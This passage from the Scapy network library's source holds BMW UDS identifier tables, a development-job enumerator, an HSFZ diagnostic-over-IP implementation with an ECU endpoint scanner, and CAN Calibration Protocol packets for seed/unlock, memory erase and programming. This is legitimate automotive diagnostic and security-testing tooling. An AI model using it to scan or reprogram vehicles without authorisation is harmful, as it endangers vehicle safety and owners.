\"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c0] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c1] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c2] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c3] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c4] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c5] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c6] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c7] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c8] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1c9] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ca] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1cb] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1cc] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1cd] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ce] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1cf] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d0] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d1] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d2] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d3] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d4] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d5] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d6] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d7] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d8] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1d9] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1da] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1db] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1dc] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1dd] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1de] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1df] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e0] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e1] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e2] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e3] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e4] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e5] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e6] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e7] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e8] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1e9] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ea] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1eb] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ec] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ed] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ee] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ef] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f0] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f1] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f2] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f3] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f4] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f5] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f6] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f7] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f8] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1f9] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1fa] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1fb] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1fc] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1fd] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1fe] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe1ff] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xf013] = \"DeactivateSegeln\"\nUDS_RC.routineControlIdentifiers[0xf043] = \"RequestDeactivateMontagemodus\"\nUDS_RC.routineControlIdentifiers[0xF720] = \"ControlSniffingHuPort\"\nUDS_RC.routineControlIdentifiers[0xF759] = \"ControlHeadUnitActivationLine\"\nUDS_RC.routineControlIdentifiers[0xF760] = \"ResetHeadUnitActivationLine\"\nUDS_RC.routineControlIdentifiers[0xF761] = \"ClearFilterCAN\"\nUDS_RC.routineControlIdentifiers[0xF762] = \"SetFilterCAN\"\nUDS_RC.routineControlIdentifiers[0xF764] = \"MessageLogging\"\nUDS_RC.routineControlIdentifiers[0xF765] = \"ReceiveCANFrame\"\nUDS_RC.routineControlIdentifiers[0xF766] = \"SendCANFrame\"\nUDS_RC.routineControlIdentifiers[0xF767] = \"ReceiveFlexrayFrame\"\nUDS_RC.routineControlIdentifiers[0xF768] = \"SendFlexrayFrame\"\nUDS_RC.routineControlIdentifiers[0xF769] = \"SetFilterFlexray\"\nUDS_RC.routineControlIdentifiers[0xF770] = \"ClearFilterFlexray\"\nUDS_RC.routineControlIdentifiers[0xF774] = \"GetStatusLogging\"\nUDS_RC.routineControlIdentifiers[0xF776] = \"MessageTunnelDeauthenticator\"\nUDS_RC.routineControlIdentifiers[0xF777] = \"ControlTransDiagSend\"\nUDS_RC.routineControlIdentifiers[0xF778] = \"ClearFilterAll\"\nUDS_RC.routineControlIdentifiers[0xF779] = \"GetFilterCAN\"\nUDS_RC.routineControlIdentifiers[0xF77B] = \"SteuernFlexrayAutoDetectDisable\"\nUDS_RC.routineControlIdentifiers[0xF77C] = \"SteuernFlexrayPath\"\nUDS_RC.routineControlIdentifiers[0xF77D] = \"SteuernResetLernFlexray\"\nUDS_RC.routineControlIdentifiers[0xF77F] = \"SteuernLernFlexray\"\nUDS_RC.routineControlIdentifiers[0xF780] = \"ClearFilterLIN\"\nUDS_RC.routineControlIdentifiers[0xF781] = \"GetFilterLIN\"\nUDS_RC.routineControlIdentifiers[0xF782] = \"SetFilterLIN\"\nUDS_RC.routineControlIdentifiers[0xff00] = \"eraseMemory\"\nUDS_RC.routineControlIdentifiers[0xff01] = \"checkProgrammingDependencies\"\n\nUDS_RD.dataFormatIdentifiers[0x0001] = \"BMW_ROM_EPROM_internal\"\nUDS_RD.dataFormatIdentifiers[0x0002] = \"BMW_ROM_EPROM_external\"\nUDS_RD.dataFormatIdentifiers[0x0003] = \"BMW_NVRAM_characteristicZones_DTCmemory\"  # noqa E501\nUDS_RD.dataFormatIdentifiers[0x0004] = \"BMW_RAM_internal_shortMOV\"\nUDS_RD.dataFormatIdentifiers[0x0005] = \"BMW_RAM_external_xDataMOV\"\nUDS_RD.dataFormatIdentifiers[0x0006] = \"BMW_flashEPROM_internal\"\nUDS_RD.dataFormatIdentifiers[0x0007] = \"BMW_UIFmemory\"\nUDS_RD.dataFormatIdentifiers[0x0008] = \"BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs\"  # noqa E501\nUDS_RD.dataFormatIdentifiers[0x0009] = \"BMW_flashEPROM_external\"\nUDS_RD.dataFormatIdentifiers[0x000b] = \"BMW_RAM_internal_longMOVatRegister\"\nUDS_RD.dataFormatIdentifiers[0x0010] = \"NRV and noEncryptingMethod\"\n\nUDS_RSDBI.dataIdentifiers = UDS_RDBI.dataIdentifiers\n"
  },
  {
    "path": "scapy/contrib/automotive/bmw/enumerator.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = BMW specific enumerators\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.scanner.enumerator import _AutomotiveTestCaseScanResult  # noqa: E501\nfrom scapy.contrib.automotive.uds import UDS\nfrom scapy.contrib.automotive.bmw.definitions import DEV_JOB\nfrom scapy.contrib.automotive.uds_scan import UDS_Enumerator\n\nfrom typing import (\n    Any,\n    Iterable,\n)\n\n\nclass BMW_DevJobEnumerator(UDS_Enumerator):\n    _description = \"Available DevelopmentJobs by Identifier \" \\\n                   \"and negative response per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n        return (UDS() / DEV_JOB(identifier=x) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x: %s\" % \\\n               (tup[1].identifier, tup[1].sprintf(\"%DEV_JOB.identifier%\"))\n"
  },
  {
    "path": "scapy/contrib/automotive/bmw/hsfz.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = HSFZ - BMW High-Speed-Fahrzeug-Zugang\n# scapy.contrib.status = loads\nimport logging\nimport socket\nimport struct\nimport time\nfrom typing import (\n    Any,\n    Optional,\n    Tuple,\n    Type,\n    Iterable,\n    List,\n    Union,\n)\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.uds import UDS, UDS_TP\nfrom scapy.data import MTU\nfrom scapy.fields import (IntField, ShortEnumField, XByteField,\n                          ConditionalField, StrFixedLenField)\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.supersocket import StreamSocket\n\n\"\"\"\nBMW HSFZ (High-Speed-Fahrzeug-Zugang / High-Speed-Car-Access).\nBMW specific diagnostic over IP protocol implementation.\nThe physical interface for this connection is called ENET.\n\"\"\"\n\n\n# #########################HSFZ###################################\n\n\nclass HSFZ(Packet):\n    control_words = {\n        0x01: \"diagnostic_req_res\",\n        0x02: \"acknowledge_transfer\",\n        0x10: \"terminal15\",\n        0x11: \"vehicle_ident_data\",\n        0x12: \"alive_check\",\n        0x13: \"status_data_inquiry\",\n        0x40: \"incorrect_tester_address\",\n        0x41: \"incorrect_control_word\",\n        0x42: \"incorrect_format\",\n        0x43: \"incorrect_dest_address\",\n        0x44: \"message_too_large\",\n        0x45: \"diag_app_not_ready\",\n        0xFF: \"out_of_memory\"\n    }\n    name = 'HSFZ'\n    fields_desc = [\n        IntField('length', None),\n        ShortEnumField('control', 1, control_words),\n        ConditionalField(\n            XByteField('source', 0), lambda p: p._has_srctgt_addrs()),\n        ConditionalField(\n            XByteField('target', 0), lambda p: p._has_srctgt_addrs()),\n        ConditionalField(\n            XByteField('expected', 0), lambda p: p._has_exprecv_addrs()),\n        ConditionalField(\n            XByteField('received', 0), lambda p: p._has_exprecv_addrs()),\n        ConditionalField(\n            StrFixedLenField(\"identification_string\",\n                             None, None, lambda p: p.length),\n            lambda p: p._hasidstring())\n    ]\n\n    def _has_srctgt_addrs(self):\n        # type: () -> bool\n        # Address present in diagnostic_req_res, acknowledge_transfer,\n        # and two byte length alive_check frames.\n        return self.control == 0x01 or \\\n            self.control == 0x02 or \\\n            (self.control == 0x12 and self.length == 2)\n\n    def _has_exprecv_addrs(self):\n        # type: () -> bool\n        # Address present in incorrect_tester_address frames.\n        return self.control == 0x40\n\n    def _hasidstring(self):\n        # type: () -> bool\n        # ID string is present in some vehicle_ident_data frames and in\n        # long alive_check grames.\n        return (self.control == 0x11 and self.length != 0) or \\\n            (self.control == 0x12 and self.length > 2)\n\n    def hashret(self):\n        # type: () -> bytes\n        hdr_hash = struct.pack(\"B\", self.source ^ self.target)\n        pay_hash = self.payload.hashret()\n        return hdr_hash + pay_hash\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, bytes]\n        return s[:self.length - 2], s[self.length - 2:]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"\n        This will set the LenField 'length' to the correct value.\n        \"\"\"\n        if self.length is None:\n            pkt = struct.pack(\"!I\", len(pay) + 2) + pkt[4:]\n        return pkt + pay\n\n\nbind_bottom_up(TCP, HSFZ, sport=6801)\nbind_bottom_up(TCP, HSFZ, dport=6801)\nbind_layers(TCP, HSFZ, sport=6801, dport=6801)\n\nbind_bottom_up(UDP, HSFZ, sport=6811)\nbind_bottom_up(UDP, HSFZ, dport=6811)\nbind_layers(UDP, HSFZ, sport=6811, dport=6811)\n\nbind_layers(HSFZ, UDS)\n\n\n# ########################HSFZSocket###################################\n\n\nclass HSFZSocket(StreamSocket):\n    def __init__(self, ip='127.0.0.1', port=6801):\n        # type: (str, int) -> None\n        self.ip = ip\n        self.port = port\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        s.connect((self.ip, self.port))\n        StreamSocket.__init__(self, s, HSFZ)\n        self.buffer = b\"\"\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (Optional[int], **Any) -> Optional[Packet]\n        if self.buffer:\n            len_data = self.buffer[:4]\n        else:\n            len_data = self.ins.recv(4, socket.MSG_PEEK)\n            if len(len_data) != 4:\n                return None\n\n        len_int = struct.unpack(\">I\", len_data)[0]\n        len_int += 6\n        self.buffer += self.ins.recv(len_int - len(self.buffer))\n\n        if len(self.buffer) != len_int:\n            return None\n\n        pkt = self.basecls(self.buffer, **kwargs)  # type: Packet\n        self.buffer = b\"\"\n        return pkt\n\n\nclass UDS_HSFZSocket(HSFZSocket):\n    def __init__(self, source, target, ip='127.0.0.1', port=6801, basecls=UDS):\n        # type: (int, int, str, int, Type[Packet]) -> None\n        super(UDS_HSFZSocket, self).__init__(ip, port)\n        self.source = source\n        self.target = target\n        self.basecls = HSFZ\n        self.outputcls = basecls\n\n    def send(self, x):\n        # type: (Packet) -> int\n        try:\n            x.sent_time = time.time()\n        except AttributeError:\n            pass\n\n        try:\n            return super(UDS_HSFZSocket, self).send(\n                HSFZ(source=self.source, target=self.target) / x)\n        except Exception as e:\n            # Workaround:\n            # This catch block is currently necessary to detect errors\n            # during send. In automotive application it's not uncommon that\n            # a destination socket goes down. If any function based on\n            # SndRcvHandler is used, all exceptions are silently handled\n            # in the send part. This means, a caller of the SndRcvHandler\n            # can not detect if an error occurred. This workaround closes\n            # the socket if a send error was detected.\n            log_automotive.exception(\"Exception: %s\", e)\n            self.close()\n            return 0\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (Optional[int], **Any) -> Optional[Packet]\n        pkt = super(UDS_HSFZSocket, self).recv(x)\n        if pkt and pkt.control == 1:\n            return self.outputcls(bytes(pkt.payload), **kwargs)\n        else:\n            return pkt\n\n\ndef hsfz_scan(ip,  # type: str\n              scan_range=range(0x100),  # type: Iterable[int]\n              source=0xf4,  # type: int\n              timeout=0.1,  # type: Union[int, float]\n              verbose=True  # type: bool\n              ):\n    # type: (...) -> List[UDS_HSFZSocket]\n    \"\"\"\n    Helper function to scan for HSFZ endpoints.\n\n    Example:\n        >>> sockets = hsfz_scan(\"192.168.0.42\")\n\n    :param ip: IPv4 address of target to scan\n    :param scan_range: Range for HSFZ destination address\n    :param source: HSFZ source address, used during the scan\n    :param timeout: Timeout for each request\n    :param verbose: Show information during scan, if True\n    :return: A list of open UDS_HSFZSockets\n    \"\"\"\n    if verbose:\n        log_automotive.setLevel(logging.DEBUG)\n    results = list()\n    for i in scan_range:\n        with UDS_HSFZSocket(source, i, ip) as sock:\n            try:\n                resp = sock.sr1(UDS() / UDS_TP(),\n                                timeout=timeout,\n                                verbose=False)\n                if resp:\n                    results.append((i, resp))\n                if resp:\n                    log_automotive.debug(\n                        \"Found endpoint %s, source=0x%x, target=0x%x\" % (ip, source, i))\n            except Exception as e:\n                log_automotive.exception(\n                    \"Error %s at destination address 0x%x\" % (e, i))\n    return [UDS_HSFZSocket(0xf4, target, ip) for target, _ in results]\n"
  },
  {
    "path": "scapy/contrib/automotive/ccp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = CAN Calibration Protocol (CCP)\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import XIntField, FlagsField, ByteEnumField, \\\n    ThreeBytesField, XBitField, ShortField, IntField, XShortField, \\\n    ByteField, XByteField, StrFixedLenField, LEShortField\nfrom scapy.layers.can import CAN\n\n\nclass CCP(CAN):\n    name = 'CAN Calibration Protocol'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        ByteField('length', 8),\n        ThreeBytesField('reserved', 0),\n    ]\n\n    def extract_padding(self, p):\n        return p, None\n\n\nclass CRO(Packet):\n    commands = {\n        0x01: \"CONNECT\",\n        0x1B: \"GET_CCP_VERSION\",\n        0x17: \"EXCHANGE_ID\",\n        0x12: \"GET_SEED\",\n        0x13: \"UNLOCK\",\n        0x02: \"SET_MTA\",\n        0x03: \"DNLOAD\",\n        0x23: \"DNLOAD_6\",\n        0x04: \"UPLOAD\",\n        0x0F: \"SHORT_UP\",\n        0x11: \"SELECT_CAL_PAGE\",\n        0x14: \"GET_DAQ_SIZE\",\n        0x15: \"SET_DAQ_PTR\",\n        0x16: \"WRITE_DAQ\",\n        0x06: \"START_STOP\",\n        0x07: \"DISCONNECT\",\n        0x0C: \"SET_S_STATUS\",\n        0x0D: \"GET_S_STATUS\",\n        0x0E: \"BUILD_CHKSUM\",\n        0x10: \"CLEAR_MEMORY\",\n        0x18: \"PROGRAM\",\n        0x22: \"PROGRAM_6\",\n        0x19: \"MOVE\",\n        0x05: \"TEST\",\n        0x09: \"GET_ACTIVE_CAL_PAGE\",\n        0x08: \"START_STOP_ALL\",\n        0x20: \"DIAG_SERVICE\",\n        0x21: \"ACTION_SERVICE\"\n    }\n    name = 'Command Receive Object'\n    fields_desc = [\n        ByteEnumField('cmd', 0x01, commands),\n        ByteField('ctr', 0)\n    ]\n\n    def hashret(self):\n        return struct.pack('B', self.ctr)\n\n\n# ##### CROs ######\n\nclass CONNECT(Packet):\n    fields_desc = [\n        LEShortField('station_address', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4),\n    ]\n\n\nbind_layers(CRO, CONNECT, cmd=0x01)\n\n\nclass GET_CCP_VERSION(Packet):\n    fields_desc = [\n        XByteField('main_protocol_version', 0),\n        XByteField('release_version', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4)\n    ]\n\n\nbind_layers(CRO, GET_CCP_VERSION, cmd=0x1B)\n\n\nclass EXCHANGE_ID(Packet):\n    fields_desc = [\n        StrFixedLenField('ccp_master_device_id', b'\\x00' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, EXCHANGE_ID, cmd=0x17)\n\n\nclass GET_SEED(Packet):\n    fields_desc = [\n        XByteField('resource', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 5, length=5)\n    ]\n\n\nbind_layers(CRO, GET_SEED, cmd=0x12)\n\n\nclass UNLOCK(Packet):\n    fields_desc = [\n        StrFixedLenField('key', b'\\x00' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, UNLOCK, cmd=0x13)\n\n\nclass SET_MTA(Packet):\n    fields_desc = [\n        XByteField('mta_num', 0),\n        XByteField('address_extension', 0),\n        XIntField('address', 0),\n    ]\n\n\nbind_layers(CRO, SET_MTA, cmd=0x02)\n\n\nclass DNLOAD(Packet):\n    fields_desc = [\n        XByteField('size', 0),\n        StrFixedLenField('data', b'\\x00' * 5, length=5)\n    ]\n\n\nbind_layers(CRO, DNLOAD, cmd=0x03)\n\n\nclass DNLOAD_6(Packet):\n    fields_desc = [\n        StrFixedLenField('data', b'\\x00' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, DNLOAD_6, cmd=0x23)\n\n\nclass UPLOAD(Packet):\n    fields_desc = [\n        XByteField('size', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 5, length=5)\n    ]\n\n\nbind_layers(CRO, UPLOAD, cmd=0x04)\n\n\nclass SHORT_UP(Packet):\n    fields_desc = [\n        XByteField('size', 0),\n        XByteField('address_extension', 0),\n        XIntField('address', 0),\n    ]\n\n\nbind_layers(CRO, SHORT_UP, cmd=0x0F)\n\n\nclass SELECT_CAL_PAGE(Packet):\n    fields_desc = [\n        StrFixedLenField('ccp_reserved', b'\\xff' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, SELECT_CAL_PAGE, cmd=0x11)\n\n\nclass GET_DAQ_SIZE(Packet):\n    fields_desc = [\n        XByteField('DAQ_num', 0),\n        XByteField('ccp_reserved', 0),\n        XIntField('DTO_identifier', 0),\n    ]\n\n\nbind_layers(CRO, GET_DAQ_SIZE, cmd=0x14)\n\n\nclass SET_DAQ_PTR(Packet):\n    fields_desc = [\n        XByteField('DAQ_num', 0),\n        XByteField('ODT_num', 0),\n        XByteField('ODT_element', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 3, length=3)\n    ]\n\n\nbind_layers(CRO, SET_DAQ_PTR, cmd=0x15)\n\n\nclass WRITE_DAQ(Packet):\n    fields_desc = [\n        XByteField('DAQ_size', 0),\n        XByteField('address_extension', 0),\n        XIntField('address', 0),\n    ]\n\n\nbind_layers(CRO, WRITE_DAQ, cmd=0x16)\n\n\nclass START_STOP(Packet):\n    fields_desc = [\n        XByteField('mode', 0),\n        XByteField('DAQ_num', 0),\n        XByteField('ODT_num', 0),\n        XByteField('event_channel', 0),\n        XShortField('transmission_rate', 0),\n    ]\n\n\nbind_layers(CRO, START_STOP, cmd=0x06)\n\n\nclass DISCONNECT(Packet):\n    fields_desc = [\n        ByteEnumField('type', 0, {0: \"temporary\", 1: \"end_of_session\"}),\n        StrFixedLenField('ccp_reserved0', b'\\xff' * 1, length=1),\n        LEShortField('station_address', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 2, length=2)\n    ]\n\n\nbind_layers(CRO, DISCONNECT, cmd=0x07)\n\n\nclass SET_S_STATUS(Packet):\n    name = \"Set Session Status\"\n    fields_desc = [\n        FlagsField(\"session_status\", 0, 8, [\"CAL\", \"DAQ\", \"RESUME\", \"RES0\",\n                                            \"RES1\", \"RES2\", \"STORE\", \"RUN\"]),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 5, length=5)\n    ]\n\n\nbind_layers(CRO, SET_S_STATUS, cmd=0x0C)\n\n\nclass GET_S_STATUS(Packet):\n    fields_desc = [\n        StrFixedLenField('ccp_reserved', b'\\xff' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, GET_S_STATUS, cmd=0x0D)\n\n\nclass BUILD_CHKSUM(Packet):\n    fields_desc = [\n        IntField('size', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 2, length=2)\n    ]\n\n\nbind_layers(CRO, BUILD_CHKSUM, cmd=0x0E)\n\n\nclass CLEAR_MEMORY(Packet):\n    fields_desc = [\n        IntField('size', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 2, length=2)\n    ]\n\n\nbind_layers(CRO, CLEAR_MEMORY, cmd=0x10)\n\n\nclass PROGRAM(Packet):\n    fields_desc = [\n        XByteField('size', 0),\n        StrFixedLenField('data', b'\\x00' * 0,\n                         length_from=lambda pkt: pkt.size),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 5,\n                         length_from=lambda pkt: 5 - pkt.size)\n    ]\n\n\nbind_layers(CRO, PROGRAM, cmd=0x18)\n\n\nclass PROGRAM_6(Packet):\n    fields_desc = [\n        StrFixedLenField('data', b'\\x00' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, PROGRAM_6, cmd=0x22)\n\n\nclass MOVE(Packet):\n    fields_desc = [\n        IntField('size', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 2, length=2)\n    ]\n\n\nbind_layers(CRO, MOVE, cmd=0x19)\n\n\nclass TEST(Packet):\n    fields_desc = [\n        LEShortField('station_address', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4)\n    ]\n\n\nbind_layers(CRO, TEST, cmd=0x05)\n\n\nclass GET_ACTIVE_CAL_PAGE(Packet):\n    fields_desc = [\n        StrFixedLenField('ccp_reserved', b'\\xff' * 6, length=6)\n    ]\n\n\nbind_layers(CRO, GET_ACTIVE_CAL_PAGE, cmd=0x09)\n\n\nclass START_STOP_ALL(Packet):\n    fields_desc = [\n        ByteEnumField('type', 0, {0: \"stop\", 1: \"start\"}),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 5, length=5)\n\n    ]\n\n\nbind_layers(CRO, START_STOP_ALL, cmd=0x08)\n\n\nclass DIAG_SERVICE(Packet):\n    fields_desc = [\n        ShortField('diag_service', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4)\n    ]\n\n\nbind_layers(CRO, DIAG_SERVICE, cmd=0x20)\n\n\nclass ACTION_SERVICE(Packet):\n    fields_desc = [\n        ShortField('action_service', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4)\n    ]\n\n\nbind_layers(CRO, ACTION_SERVICE, cmd=0x21)\n\n\n# ##### DTOs ######\n\nclass DEFAULT_DTO(Packet):\n    fields_desc = [\n        StrFixedLenField('load', b'\\xff' * 5, length=5),\n    ]\n\n\nclass GET_CCP_VERSION_DTO(Packet):\n    fields_desc = [\n        XByteField('main_protocol_version', 0),\n        XByteField('release_version', 0),\n        StrFixedLenField('ccp_reserved', b'\\x00' * 3, length=3)\n    ]\n\n\nclass EXCHANGE_ID_DTO(Packet):\n    fields_desc = [\n        ByteField('slave_device_ID_length', 0),\n        ByteField('data_type_qualifier', 0),\n        ByteField('resource_availability_mask', 0),\n        ByteField('resource_protection_mask', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 1, length=1),\n    ]\n\n\nclass GET_SEED_DTO(Packet):\n    fields_desc = [\n        XByteField('protection_status', 0),\n        StrFixedLenField('seed', b'\\x00' * 4, length=4)\n    ]\n\n\nclass UNLOCK_DTO(Packet):\n    fields_desc = [\n        ByteField('privilege_status', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 4, length=4),\n    ]\n\n\nclass DNLOAD_DTO(Packet):\n    fields_desc = [\n        XByteField('MTA0_extension', 0),\n        XIntField('MTA0_address', 0)\n    ]\n\n\nclass DNLOAD_6_DTO(Packet):\n    fields_desc = [\n        XByteField('MTA0_extension', 0),\n        XIntField('MTA0_address', 0)\n    ]\n\n\nclass UPLOAD_DTO(Packet):\n    fields_desc = [\n        StrFixedLenField('data', b'\\x00' * 5, length=5)\n    ]\n\n\nclass SHORT_UP_DTO(Packet):\n    fields_desc = [\n        StrFixedLenField('data', b'\\x00' * 5, length=5)\n    ]\n\n\nclass GET_DAQ_SIZE_DTO(Packet):\n    fields_desc = [\n        XByteField('DAQ_list_size', 0),\n        XByteField('first_pid', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 3, length=3)\n    ]\n\n\nclass GET_S_STATUS_DTO(Packet):\n    fields_desc = [\n        FlagsField(\"session_status\", 0, 8, [\"CAL\", \"DAQ\", \"RESUME\", \"RES0\",\n                                            \"RES1\", \"RES2\", \"STORE\", \"RUN\"]),\n        ByteField('information_qualifier', 0),\n        StrFixedLenField('information', b'\\x00' * 3, length=3)\n    ]\n\n\nclass BUILD_CHKSUM_DTO(Packet):\n    fields_desc = [\n        ByteField('checksum_size', 0),\n        StrFixedLenField('checksum_data', b'\\x00' * 4,\n                         length_from=lambda pkt: pkt.checksum_size),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 0,\n                         length_from=lambda pkt: 4 - pkt.checksum_size)\n    ]\n\n\nclass PROGRAM_DTO(Packet):\n    fields_desc = [\n        ByteField('MTA0_extension', 0),\n        XIntField('MTA0_address', 0)\n    ]\n\n\nclass PROGRAM_6_DTO(Packet):\n    fields_desc = [\n        ByteField('MTA0_extension', 0),\n        XIntField('MTA0_address', 0)\n    ]\n\n\nclass GET_ACTIVE_CAL_PAGE_DTO(Packet):\n    fields_desc = [\n        XByteField('address_extension', 0),\n        XIntField('address', 0)\n    ]\n\n\nclass DIAG_SERVICE_DTO(Packet):\n    fields_desc = [\n        ByteField('data_length', 0),\n        ByteField('data_type', 0),\n        StrFixedLenField('ccp_reserved', b'\\xff' * 3, length=3)\n    ]\n\n\nclass ACTION_SERVICE_DTO(Packet):\n    fields_desc = [\n        ByteField('data_length', 0),\n        ByteField('data_type', 0),\n        